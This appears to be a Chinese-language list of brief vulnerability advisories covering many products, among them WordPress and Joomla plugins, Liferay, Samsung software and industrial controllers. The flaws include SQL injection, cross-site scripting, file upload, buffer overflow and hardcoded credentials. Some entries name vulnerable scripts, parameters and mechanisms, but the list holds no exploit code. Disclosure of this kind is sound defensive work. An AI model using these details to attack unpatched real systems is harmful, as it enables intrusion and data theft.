Joomla!是一款开放源码的内容管理系统(CMS)。Joomla! com_bearleague组件存在SQL注入漏洞。由于程序在被用于SQL查询使用前未能正确过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库实现潜在的漏洞。
PG-MailingList是一款建站系统。PG-MailingList存在跨站脚本漏洞，由于程序未能正确过滤用户提供的输入，攻击者可以利用执行任意代码，窃取基于Cookie的身份验证凭据。
TreasonSMS是一个SMS Web服务器。TreasonSMS存在文件包含漏洞。攻击者可以利用漏洞在Web服务器进程的上下文中执行任意本地脚本。
TreasonSMS是一个SMS Web服务器。TreasonSMS存在HTML注入漏洞。攻击者可以利用漏洞在受影响的浏览器中执行任意HTML和脚本代码，窃取基于Cookie的身份验证凭据。
MediaXxx Mobile Video Module存在SQL注入漏洞，由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞访问或修改数据，利用底层数据库中的潜在漏洞。
PHP Ticket是一个开源的基于PHP / MySQL的售票系统。PHP Ticket存在SQL注入漏洞。由于应用程序在SQL查询使用前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中的漏洞。
VBulletin是一款流行的论坛程序。vBulletin多个产品MAPI存在未明漏洞，目前没有详细细节提供。
RuggedCom Inc罗杰康公司是世界领先的生产用于工业环境的高性能网络和通信设备的制造商。用于RuggedCom RuggedSwitches和RuggedServers的ROS操作系统默认包含一个内置用户账户"factory"，并且未能被禁用，此账户密码基于设备的MAC地址，可比较容易的通过反向工程获取。ROS也支持HTTP(S)和SSH服务，目前不正确这些服务是否使用factory，也不清楚成功或不成功登录尝试是否会被记录。
NET-i viewer是一款三星网络客户端管理软件。NET-i viewer提供的STWConfigNVR和STWConfig ActiveX控件处理"ConnectDDNS()"方法时存在错误，可被利用在任意内存位置调用虚函数，可以应用程序上下文执行任意代码。
NET-i viewer是一款三星网络客户端管理软件。NET-i viewer提供的UMS_Ctrl和UMS_Ctrl_STW ActiveX控件处理"BackupToAvi()方法时存在边界错误，向"fname"参数传递超长字符串可触发基于栈的缓冲区溢出。
BeyondCHM用于处理CHM文件。BeyondCHM不正确处理.chm文件，特制的.chm文件可触发基于栈的缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
Havalite是一款开源的博客系统。Havalite存在HTML注入漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的上下文浏览器中执行任意HTML和脚本代码。
Havalite是一款开源的博客系统。Havalite存在多个跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞窃取基于Cookie的身份验证凭据并控制该网站是如何呈现给用户。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件WP Survey和Quiz Tool'rowcount'存在跨站脚本漏洞，由于通过"rowcount"参数传递到wp-content/plugins/wp-survey-and-quiz-tool/javascript/question_form.php，wp-content/plugins/wp-survey-and-quiz-tool/javascript/quiz_section.php，wp-content/plugins/wp-survey-and-quiz-tool/javascript/shared_form.php，wp-content/plugins/wp-survey-and-quiz-tool/javascript/survey_question.php，and wp-content/plugins/wp-survey-and-quiz-tool/javascript/survey_section.php的输入在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响上下文的用户浏览器会话中执行任意HTML和脚本代码。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress Sharebar存在跨站脚本漏洞。由于应用程序未能充分过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
Exponent CMS是一个开源的内容管理系统。ExponentCMS存在跨站脚本漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞窃取基于Cookie的身份验证凭据。
Exponent CMS是一个开源的内容管理系统。ExponentCMS存在SQL注入漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中的潜在漏洞。
Liferay是一个完整的门户解决方案，基于J2EE的应用。Liferay存在安全漏洞。由于提交单个HTTP请求可重新配置Liferay使用远程Memcached缓存来替代自身的缓存，这表示所有存储在数据库的实体会被缓存到攻击者主机上的Memcached实例中，攻击者无需账户可进行此攻击，可能获得管理员访问。
Liferay是一个完整的门户解决方案，基于J2EE的应用。利用平台提供的json webservices可在系统上注册拥有任意角色的新用户，包括管理员角色。问题存在于UserServiceUtil addUser方法，接受roleIds参数时没有对调用用户是否拥有指派角色的权限进行检查。
IBM Tivoli Directory Server是一款功能强大的LDAP目录服务实现。IBM Tivoli Directory Server存在安全漏洞。由于部分传递给Web管理工具的输入在返回用户之前缺少过滤，可导致跨站脚本攻击，可获得敏感信息或劫持用户会话。
Sumatra PDF是一款开源的pdf阅读器。Sumatra PDF处理.chm或.mobi文件存在内存破坏漏洞，构建恶意文件，诱使用户解析，可导致应用程序崩溃。
Liferay是一个完整的门户解决方案，基于J2EE的应用。Liferay存在安全漏洞。由于提交特制的包含外部实体的webdav请求，可读取liferay服务器上的文件，可下载配置文件获得数据库密码或SSH KEY。
Samsung NET-i ware是网络录像软件。NET-i ware存在安全漏洞，允许恶意用户进行拒绝服务攻击。当处理某些报文时NET-iware Master和Storage services存在错误，向TCP 4505或4508端口发送特制的报文可消耗大量CPU资源并阻止后续的连接。
Mobipocket Reader是一款电子书浏览器。Mobipocket Reader存在漏洞。由于Mobipocket Reader未能正确处理.chm文件，特制的.chm文件可触发基于栈的缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
Asterisk是一款开放源码的软件PBX，支持各种VoIP协议和设备。Asterisk存在安全漏洞。如果在特定的时间窗口处理SIP UPDATE请求，可在SIP通道驱动中触发远程可利用拒绝服务攻击。
Microsoft .NET Framework是一套由Microsoft分发的帮助开发者构建基于WEB应用的系统。Microsoft .NET Framework的EncoderParameter类存在一个整数溢出漏洞，由于未能正确分配缓冲区，拷贝用户数据到堆缓冲区时可导致堆破坏。EncoderParameter中System.Drawing.dll中实现，用于向图像解码器(GDI )传递值或值的数组。利用此漏洞，以部分可信权限运行的应用程序可绕过CLR沙盒限制，最终可以以完全可信权限执行任意代码。部分可信应用程序的例子包括ClickOnce, XAML Browser Applications (XBAP), ASP.NET (如共享主机)
Mega File Manager是一款文件下载管理程序。Mega File Manager存在目录遍历漏洞。由于Mega File Manager cimages.php脚本未能正确用户提交给"name"参数的数据，攻击者可以利用漏洞提交目录遍历序列请求绕过WEB ROOT限制，以WEB权限查看系统文件内容。
Liferay Portal是一款商业网络平台。Liferay Portal存在文件读取漏洞，攻击者可以利用漏洞读取本地文件。
Joomla! 是一款开放源码的内容管理系统。Joomla!组件Phoca Favicon存在不安全目录权限漏洞，由于程序设置了不安全的目录权限，本地攻击者可以利用漏洞修改，创建或删除受影响的目录中的文件。
Kaseya是一种能适应任何环境的轻量级平台软体。Kaseya存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点中执行任意脚本代码，允许攻击者窃取基于Cookie的身份验证凭据并发动其他攻击。
Joomla!是一款开放源码的内容管理系统。 Joomla!组件JA T3 Framework存在目录遍历漏洞，由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞获得敏感信息。
Anchor CMS是一个内容管理系统。Anchor CMS存在多个HTML注入漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的网站上下文执行任意HTML和脚本代码，允许攻击者窃取基于Cookie的身份验证凭据并控制该网站是如何呈现给用户。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Download Manager存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
ChatBlazer是一款企业聊天软件。ChatBlazer存在跨站脚本漏洞。由于程序未能过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
ReadyDesk是一款基于WEB的帮助台软件。ReadyDesk存在脚本注入漏洞，由于通过参数"txtCONTACT"，"txtPHONE"，"txtEMAIL"，"mnuTYPE"，"UD1"，and "UD2"传递到customer/ticketproc.aspx的输入在被用于创建一个新的ticket前未能正确过滤，当恶意数据被查看时，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
MySQL是一个小型关系型数据库管理系统，开发者为瑞典MySQLAB公司，在2008年1月16号被Sun公司收购。Oracle MySQL在实现上存在多个安全漏洞，可被远程利用造成一定的影响。
VLC Media Player是一款流行的多媒体播放程序。VLC Media Player存在拒绝服务漏洞。由于VLC Media Player未能正确处理.mp4文件，可导致一个除零错误，攻击者构建恶意文件，诱使用户解析，可导致应用程序崩溃。
ownCloud是一款开源的个人云服务器。ownCloud core/lostpassword/index.php脚本生成密码重置的令牌不安全，可在知道相应用户名的情况下猜测到生成的令牌，并重置目标用户密码。
Hitachi JP1/IT Desktop Managemen存在存在一个未明错误。允许恶意用户进行拒绝服务攻击，攻击者可以利用漏洞导致应用程序崩溃。
Hitachi JP1/IT Desktop Managemen存在安全漏洞。允许恶意用户进行跨站脚本攻击。由于部分未明输入在返回用户之前缺少过滤，可被进行跨站脚本攻击，可获得敏感信息或劫持用户会话。
CyberLink Power2Go是一款流行的刻录软件。CyberLink Power2Go name attribute (p2g) 存在栈缓冲区溢出漏洞，由于打开一个含有超长字符的畸形p2g文件包，导致缓冲区溢出。
Havalite是一款开源的博客系统。Havalite存在任意文件上传漏洞，由于havalite/upload.php脚本未能正确验证上传的脚本，攻击者可以利用漏洞通过上传恶意PHP脚本，执行任意PHP代码。
Drupal是一个开源的内容管理系统(CMS) 平台。Drupal Autosave模块存在跨站请求伪造漏洞。允许远程攻击者可以利用漏洞执行某些未经授权的行动并获得受影响的应用程序。
SchoolCenter是一个地区性的网站，同时在Windows和Mac平台。SchoolCenter存在跨站脚本漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
PrestaShop是一个基于PHP5开发的Web2.0网上购物系统。PrestaShop Socolissimo模块存在跨站脚本漏洞。由于通过任意参数的名称和值传递至modules/socolissimo/redirect.php的输入，在被返回给用户前未能正确过滤。攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Nmedia Users File Uploader存在未明漏洞，目前详细细节未知。
DHTMLX 是一套web UI 组件，包括如：表格、树形显示、日历、布局、编辑 器等十几个UI 组件。DHTMLX存在多个HTML注入漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞在受影响的站点中执行HTML和脚本代码，窃取基于Cookie的身份验证凭据并控制网站是如何呈现给用户。
DHTMLX 是一套web UI 组件，包括如：表格、树形显示、日历、布局、编辑 器等十几个UI 组件。DHTMLX存在SQL注入漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，利用底层数据库中的漏洞。
Joomla!是一款开放源码的内容管理系统(CMS)。Joomla!组件(com_ponygallery)存在SQL注入漏洞，由于其没有对'Itemid'参数的用户输入进行合理地验证，导致SQL注入攻击。远程攻击者可利用此漏洞获取底层数据库信息，或发起进一步的攻击。
Samsung TV和BD Products存在多个拒绝服务漏洞,攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
Fortune3是该公司提供的购物车软件。Fortune3存在多个跨站脚本漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞在受影响的服务器上执行任意脚本，窃取基于Cookie的身份验证凭据。
DokuWiki是一个开源wiki引擎程序，运行于PHP环境下，适合中小团队和个人网站知识库的管理。DokuWiki存在跨站脚本漏洞。由于程序未能充分过滤用户提供的输入，攻击者可利用此漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发动其他攻击。
musl是一款基于Linux系统标准库的新实现。musl vfprintf处理超长输出存在一个基于栈的缓冲区溢出，攻击者可以利用漏洞以链接此库的应用程序上下文执行任意代码。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Nmedia Users File Uploader存在PHP代码执行漏洞，攻击者可以利用漏洞上传恶意PHP脚本，执行任意PHP代码。
EmbryoCore CMS是一款内容管理系统。EmbryoCore CMS存在SQL注入漏洞。由于EmbryoCore CMS未能正确过滤用户提交的输入，远程攻击者可以利用漏洞提交恶意SQL查询，可获得数据库敏感信息或控制应用程序。
SocialABC NetworX是一款开放社交网络软件。SocialABC NetworX CMS存在安全漏洞，由于应用程序不正确限制对admin/employer.php脚本的访问，可被利用创建拥有管理员权限的任意用户。
X.Org是X.Org Foundation对X窗口系统的开源实现。X.Org的build缺失-D_FORTIFY_SOURCE=2，在添加带有恶意名称的输入设备时，其logging子系统在实现上存在本地格式字符串漏洞，攻击者可利用此漏洞执行任意代码。
EmbryoCore CMS是一款内容管理系统。EmbryoCore CMS存在HTML注入漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
JOOMLA!是一款开放源码的内容管理系统（CMS）。JOOMLA! BEATZ插件存在多个跨站脚本漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
Tufin SecureTrack是一款对防火墙、路由器和交换机进行管理和审计的软件。由于涉及到First Name或Last Name的输入在被使用前未能正确过滤，攻击者可以利用漏洞在受影响站点上线问的用户浏览器会话中注入任意HTML和脚本代码。
latex2man存在不安全临时文件漏洞，由于程序以不安全的方式创建临时文件，攻击者可以利用漏洞覆盖或删除任意文件。
Munin是一款linux下服务器监控程序。Munin存在远程命令注入漏洞。攻击者可把任意字符串注入到munin-cgi-graph.log中。
OllyDBG是一款汇编级分析调试器。OllyDBG在分配基于资源目录项大小的内存时存在一个整数溢出错误，构建特制的PE文件，诱使用户解析可触发基于堆的缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
Munin是一款linux下服务器监控程序。Munin存在安全漏洞。由于不安全创建临时文件，攻击者提交恶意请求，可耗尽/tmp文件系统，造成拒绝服务攻击。
McAfee Web Gateway是一款用于防护Web 2.0 威胁的恶意软件防护解决方案。McAfee Web Gateway存在安全绕过漏洞。由于McAfee Web Gateway未能正确强制实施过滤规则，攻击者可以利用漏洞提交恶意'Host' HTTP头绕过某些安全限制，进行未授权访问等。
ManageEngine Support Center Plus是一款客户帮助台，客户支持，客户关系管理工具。ManageEngine Support Center Plus存在安全漏洞。攻击者可以利用任何验证用户上下文创建备份调度，把备份文件写到公共可访问目录中。
ManageEngine Support Center Plus是一款客户帮助台，客户支持，客户关系管理工具。ManageEngine Support Center Plus存在安全漏洞。攻击者可以利用任何验证用户上下文删除备份。
ManageEngine Support Center Plus是一款客户帮助台，客户支持，客户关系管理工具。ManageEngine Support Center Plus存在安全漏洞。由于对Name, Message输入缺少过滤，攻击者可以利用漏洞发起跨站脚本攻击。
ManageEngine Support Center Plus是一款客户帮助台，客户支持，客户关系管理工具。ManageEngine Support Center Plus存在安全漏洞。由于未能充分过滤提交给countSql参数的输入，攻击者可以利用漏洞发起SQL注入攻击。
Squid Web Proxy Cache是一款免费，开放源代码的代理服务器。Squid Proxy不正确强制实施过滤规则，攻击者可以利用漏洞提交恶意'Host' HTTP头绕过某些安全限制，进行未授权访问等。
HP OpenVMS是基于VMS的多任务多处理器操作系统。HP OpenVMS在实现上存在本地拒绝服务漏洞，攻击者可利用此漏洞使受影响计算机崩溃。
ACC PHP eMaile是一个电子邮件的订阅和管理脚本。ACC PHP eMail存在HTML注入漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞在受影响的站点执行HTML和脚本代码，窃取基于Cookie的身份验证凭据并控制网站是如何呈现给用户。
ACC PHP eMail是一款Email订阅和管理脚本。ACC PHP eMail存在SQL注入漏洞。ACC PHP eMail未能正确过滤用户提交的输入，远程攻击者可以利用漏洞提交恶意SQL查询，可获得数据库敏感信息或控制应用程序。
FFmpeg是一个免费的可以执行音讯和视讯多种格式的录影、转档、串流功能的软件。FFmpeg在解析某些参数、处理某些动作数据、解码某些比例数据时， 函数"srt_to_ass()" (libavcodec/srtdec.c)、 "dirac_unpack_block_motion_data()" (libavcodec/diracdec.c)、"sws_init_context()" (libswscale/utils.c)在实现上存在安全漏洞，远程攻击者可利用这些漏洞以当前用户权限执行任意代码，造成拒绝服务。
TRS内容协作平台(TRS Web Content Management，简称：TRS WCM)涵盖网站建立、内容服务、内容传递等内容价值链的各个方面，将结构化和非结构化信息提供给所有用户。TRS WCM存在安全漏洞，攻击者可以利用漏洞获取网站虚拟根目录文件或网站物理路径。
Minerva Infotech CMS是一款内容管理系统。Minerva Infotech CMS存在SQL注入漏洞。由于Minerva Infotech CMS content.php脚本未能正确过滤用户提交给"id"参数的输入，攻击者可以利用漏洞进行SQL注入攻击，可获得敏感信息或控制应用系统。
Joomla!是一款开放源码的内容管理系统（CMS）。 Joomla!组件The Estate Agent (com_estateagent)存在SQL注入漏洞，由于其输入验证错误，允许攻击者通过构造恶意的SQL语句以利用此漏洞，导致信息泄露。
Mini-Stream RM-MP3 Converter是一款媒体文件转换器。Mini-Stream RM-MP3 Converter存在本地缓冲区溢出漏洞，这是因为该应用程序没有正确地处理.m3u文件，允许攻击者通过构建含ShellCode的恶意的.m3u文件以利用此漏洞，导致本地缓冲区溢出，或执行任意代码。
Cobbler是一款网络安全服务器套件。Cobbler装载通过Puppet管理接口传递的YAML字符串时存在错误，攻击者可以利用漏洞执行任意代码。
Cobbler是一款网络安全服务器套件。Cobbler存在一个跨站请求伪造漏洞。允许攻击者构建恶意URI，诱使用户解析，可以目标用户上下文执行任意操作。
CGIProxy是一个用PERL写的在线代理程序。CGIProxy存在未明错误，目前没有详细漏洞细节提供。
Apple QuickTime是一款流行的多媒体播放器。Apple QuickTime Java扩展存在未明安全漏洞，允许绕过Windows OS环境中的JVM安全社会限制。目前没有详细漏洞细节提供。
OpenJPEG库是用C语言编写的开源JPEG 2000编码解码器。OpenJPEG在解码Gray16 TIFF图形tile信息时，"tcd_free_encode()"函数(tcd.c)中存在错误，可被利用破坏堆内存。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Uploadify Integration存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie身份验证凭据并发动其他攻击。
idev-GameSite是一款网页游戏网站。idev-GameSite存在SQL注入漏洞，由于通过"id"参数传递到index.php (当"page"设置为"pages")的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码操纵SQL查询。
DirectAdmin是一款虚拟主机在线管理系统。DirectAdmin存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie身份验证凭据并发动其他攻击。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Image News slider存在未明漏洞，目前没有详细细节提供。
Drupal是一款流行的内容管理系统。Drupal Fivestar模块存在远程输入验证漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞执行未经授权的操作，像修改投票平均。
Horizon Quick CMS是一款内容管理系统。Horizon Quick CMS存在漏洞。由于Horizon Quick CMS未能正确过滤用户提交的参数，远程攻击者可以利用漏洞进行SQL注入攻击，可获得敏感信息或操作数据库。
Interstage List Works是一款电子帐票管理软件。Interstage List Works存在安全漏洞，允许恶意用户绕过安全限制。当特定用户(其中所属的组拥有对文件夹的访问权限)被拒绝访问特定数据时应用程序未能正确限制对归档文件夹的访问，可被利用访问或删除列表。
Astaro Security Gateway是一款集成的软件解决方案，具有高性能的多合一防火墙。Astaro Security Gateway未能通过CRL(Certificate Revocation List)或者OCSP(Online Certificate Status Protocol)标准检查证书吊销。即使在服务器端证书被吊销的情况下客户端证书可在代理CA上下文下创建，攻击者可以利用此漏洞使用吊销的证书执行MITM攻击。
Oracle公司是全球最大的信息管理软件及服务供应商，成立于1977年，总部位于美国加州 Redwood shore。Oracle的多个产品在4月17日发布的CPU中存在88个漏洞，这些漏洞影响下列软件。最严重的漏洞可以控制数据库服务器和主机操作系统。Oracle MySQL Oracle Sun Products Suite Oracle Primavera Products Suite Oracle Financial Services Software Oracle Industry Applications Oracle PeopleSoft Products Oracle Supply Chain Products Suite Oracle E-Business Suite Oracle Enterprise Manager Grid Control Oracle Fusion Middleware Oracle Database Server
Matterdaddy Market中存在多个SQL注入漏洞，这些漏洞源于对用户提供的数据在用于SQL查询之前未经充分过滤。攻击者可利用这些漏洞操控应用程序，访问或修改数据，或在底层数据库中利用这些漏洞。Matterdaddy Market 1.1版本中存在这些漏洞，其他版本也可能受到影响。
ActiveRoles Server 6.7.0 Patch 4 Build 3694之前版本中存在多个跨站脚本漏洞，这些漏洞源于对用户提供的输入未经过滤。攻击者可利用这些漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，盗取基于cookie的认证证书进而发起其他攻击。
Nimbuzz中存在HTML注入漏洞，该漏洞源于对用户提供的输入未经过滤。攻击者提供的HTML或者JavaScript代码可在受影响站点上下文中运行，可能允许攻击者盗取基于cookie的认证证书或者控制网站传达给用户的方式，也可能执行其他的攻击。Nimbuzz 2.2.0版本中存在该漏洞，其他版本也可能受到影响。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的WP Marketplace插件1.2.2之前版本中存在文件列举漏洞和文件上传漏洞。攻击者可利用这些漏洞决定某些文件是否保留在受影响计算机上，泄露敏感信息，或者在web服务器上下文中上传并执行任意脚本代码，获取的信息可能导致进一步的攻击。
Seditio CMS的PmOS插件中存在多个HTML注入漏洞，这些漏洞源于对用户提供的输入未经正确过滤。攻击者提供的HTML和脚本代码可在受影响站点上下文中运行，可能允许攻击者盗取基于cookie的认证证书或者控制网站传达给用户的方式，也可能执行其他的攻击。PmOS 5.5.21版本中存在这些漏洞，其他版本也可能受到影响。
OpenCart是新一代基于PHP开发的开源在线购物车系统。  OpenCart中存在以下安全漏洞：1.本地文件包含漏洞 2.任意文件上传漏洞 3.弱加密漏洞 4.HTTP响应拆分漏洞。攻击者可利用这些漏洞上传任意文件至web服务器、在web服务器上下文中执行任意本地文件、获取敏感信息、执行远程代码、获取加密密钥，影响或者误传网页内容是如何被服务、缓存或者解释的。OpenCart 1.5.2.1版本中存在这些漏洞，其他版本也可能受到影响。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件WP Marketplace存在文件上传漏洞，由于wp-content/plugins/wpmarketplace/uploadify/uploadify.php脚本允许上传任意文件到webroot的文件夹中，攻击者可以利用漏洞通过上传恶意PHP脚本执行PHP代码。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件WP Marketplace存在文件列举漏洞，由于通过POST参数传递到wp-content/plugins/wpmarketplace/uploadify/check.php的输入在被用来检查文件的存在前未能正确过滤，攻击者可以利用漏洞通过目录遍历列举文件。
Numbuzz是一款免费的集手机VoIP网络电话和多种聊天程序于一身的即时通信软件。Nimbuzz存在脚本注入漏洞，由于传递到chat的输入在被使用前未能正确过滤，攻击者可以利用漏洞注入任意HTML和脚本代码。
ThinkPHP是一款国内使用比较广泛的老牌PHP MVC框架，有不少创业公司或者项目都用了这个框架。ThinkPHP不正确过滤用户提交的参数，远程攻击者可以利用漏洞以应用程序上下文执行任意PHP代码。
Links是一款图形和文本模式的web浏览器。Links XBM解码器存在未明错误，攻击者可以利用漏洞导致越界读写。
Links是一款图形和文本模式的web浏览器。Links图形渲染器存在未明错误。攻击者可以利用漏洞导致越界写。
VirtueMart中存在SQL注入漏洞，该漏洞源于对用户提供的数据在用于SQL查询之前未经充分过滤。攻击者可利用该漏洞操控应用程序，访问或修改数据，或在底层数据库中利用此漏洞。VirtueMart 2.0.2版本中存在该漏洞，其他版本也可能受到影响。
vBulletin 是一款开源的商业WEB论坛程序，运行在多种Unix和Linux系统平台下，也可运行于Windows平台下，由PHP实现并可用多种数据库平台支持。  vBulletin中存在多个HTML注入漏洞，这些漏洞源于对用户提供的输入在用于动态生成内容之前未经正确过滤。成功的利用这些漏洞将允许攻击者提供的HTML和脚本代码在受影响站点的上下文中运行，可能允许攻击者盗取基于cookie的认证证书或控制网站传达给用户的方式，也可能执行其他的攻击。vBulletin 4.1.4版本至4.1.11版本中存在这些漏洞。
CS-Forum中存在HTML注入漏洞，该漏洞源于对用户提供的输入未经过滤。攻击者提供的HTML或JavaScript代码可在受影响站点上下文中运行，可能允许攻击者盗取基于cookie的认证证书或者控制网站传达给用户的方式，也可能执行其他的攻击。CS-Forum 0.8版本中存在该漏洞，其他版本也可能受到影响。
idev-GameSite中存在SQL注入漏洞，该漏洞源于对用户提供的数据在用于SQL查询之前未经充分过滤。攻击者可利用该漏洞操控应用程序，访问或修改数据，或在底层数据库中利用该漏洞。idev-GameSite 1.0版本中存在该漏洞，其他版本也可能受到影响。
osCMax是一个强大的PHP开源电子商务系统/购物车应用程序。  osCMax中存在多个跨站脚本漏洞和HTML注入漏洞，这些漏洞源于对用户提供的输入未经正确过滤。成功利用这些漏洞将允许攻击者提供的HTML和脚本代码在受影响浏览器上下文中运行，可能允许攻击者盗取基于cookie的认证证书或者控制网站传达给用户的方式，也可能执行其他的攻击。osCMax 2.5.1版本中存在这些漏洞，之前版本也可能受到影响。
WordPress是一种使用PHP语言开发的博客平台。WordPress BuddyPress存在SQL注入漏洞。由于程序在被用于SQL查询使用前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
QEMU是一款面向完整PC系统的开源仿真器。KVM qemu-kvm存在安全漏洞，允许Guest虚拟机中的本地恶意用户进行拒绝服务攻击。当挂接安装文件系统时 "ext4_fill_flex_info()"函数fs/ext4/super.c存在错误，可导致一个除零错误，造成系统崩溃。
D20/D200 Substation Controller是IED的SCADA主站、下流子站和供给器的网关。General Electric (GE) D20ME是GE D20Substation Controller产品的一部分。General Electric D20/D200设备包含的TFTP服务器存在多个缓冲区溢出漏洞，允许远程攻击者对设备进行拒绝服务攻击，或可以以应用程序上下文执行任意代码。
CoDeSys是一种PLC软件编程工具，它支持IEC61131-3标准IL、ST、FBD、LD、CFC、SFC六种PLC编程语言。CoDeSys存在访问验证绕过漏洞，允许攻击者利用漏洞获得未授权访问或执行未授权配置更改，包括执行任意代码。
WAGO IPC是紧凑型工业PC，它适用于控制应用。WAGO IPC存在硬编码内置密码，允许攻击者利用此密码绕过安全限制获得对受影响设备的未授权访问。
Sourcefabric Newscoop是一款内容管理系统。Sourcefabric Newscoop存在漏洞。由于Sourcefabric Newscoop未能正确过滤用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，可获得数据库敏感信息或控制应用系统。
Dolibarr是一款基于WEB的开源ERP和CRM系统。Dolibarr 'export.php'不正确过滤用户提交的输入，远程攻击者可以利用漏洞提交恶意请求，以WEB权限执行任意shell命令。
Distinct Intranet Servers是一套服务器软件包，用于FTP, NFS, LPD, TFTP和BOOTP。Distinct Intranet Servers TFTP服务器不正确处理用户提交的PUT,GET请求，远程攻击者可以通过提交恶意目录遍历序列，以应用程序上下文获取系统文件。
CitrusDB是一个基于Web的客户关系维护和账单管理解决方案。CitrusDB不正确过滤用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，可获得数据库敏感信息或控制应用系统。
CitrusDB是一个基于Web的客户关系维护和账单管理解决方案。CitrusDB存在本地文件包含漏洞，由于CitrusDB不正确过滤用户提交的输入，远程攻击者可以利用漏洞提交恶意请求，以WEB权限查看系统文件内容。
RealNetworks Helix Server是一款支持多格式、跨平台的流媒体服务器软件。RealNetworks Helix Server当处理SNMP对象标识符"DisplayString"时存在输入验证错误，向TCP 705端口发送特制"Open-PDU"请求，可终止SNMP Master Agent进程。
RealNetworks Helix Server是一款支持多格式、跨平台的流媒体服务器软件。SNMP Master Agent进程(master.exe)存在错误，通过在TCP 705端口上创建和立即关闭TCP连接，可终止服务。
Oracle MySQL Server是一款流行的数据库系统。Oracle MySQL Server存在未明安全漏洞，目前没有详细漏洞细节提供。
OpenCart是基于PHP开发的开源在线购物车系统。OpenCart存在漏洞。由于admin/controller/catalog/download.php脚本未能正确校验上传文件，通过上传附加".jpg"文件扩展的PHP文件，可成功绕过验证，并以WEB权限执行。
OpenCart是基于PHP开发的开源在线购物车系统。OpenCart存在漏洞。由于通过"route"参数传递给index.php的输入在用于包含文件之前缺少校验，通过目录遍历序列和URL编码的NULL字节可获得本地文件信息。
WordPress是一种使用PHP语言开发的博客平台。WordPress插件Register Plus Redux存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的认证证书并发起其他攻击。
Hosting Directory是一款网络托管软件。Hosting Directory存在跨站请求伪造漏洞，由于程序通过未经验证的HTTP请求执行某些操作，允许攻击者构建恶意链接，诱使登录用户解析。
Drupal是一款流行的内容管理系统。Drupal Print模块存在跨站脚本漏洞，由于通过URL传递的某些输入在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML或脚本代码。
Flatnux是一个平面文件创建动态网站的CMS（内容管理系统）。Flatnux存在目录遍历漏洞。攻击者可以利用漏洞获得敏感信息。
Flatnux是一个平面文件创建动态网站的CMS（内容管理系统）。Flatnux存在跨站请求伪造漏洞。攻击者可以利用漏洞窃取基于Cookie的身份验证凭据并控制该网站是如何呈现给用户。
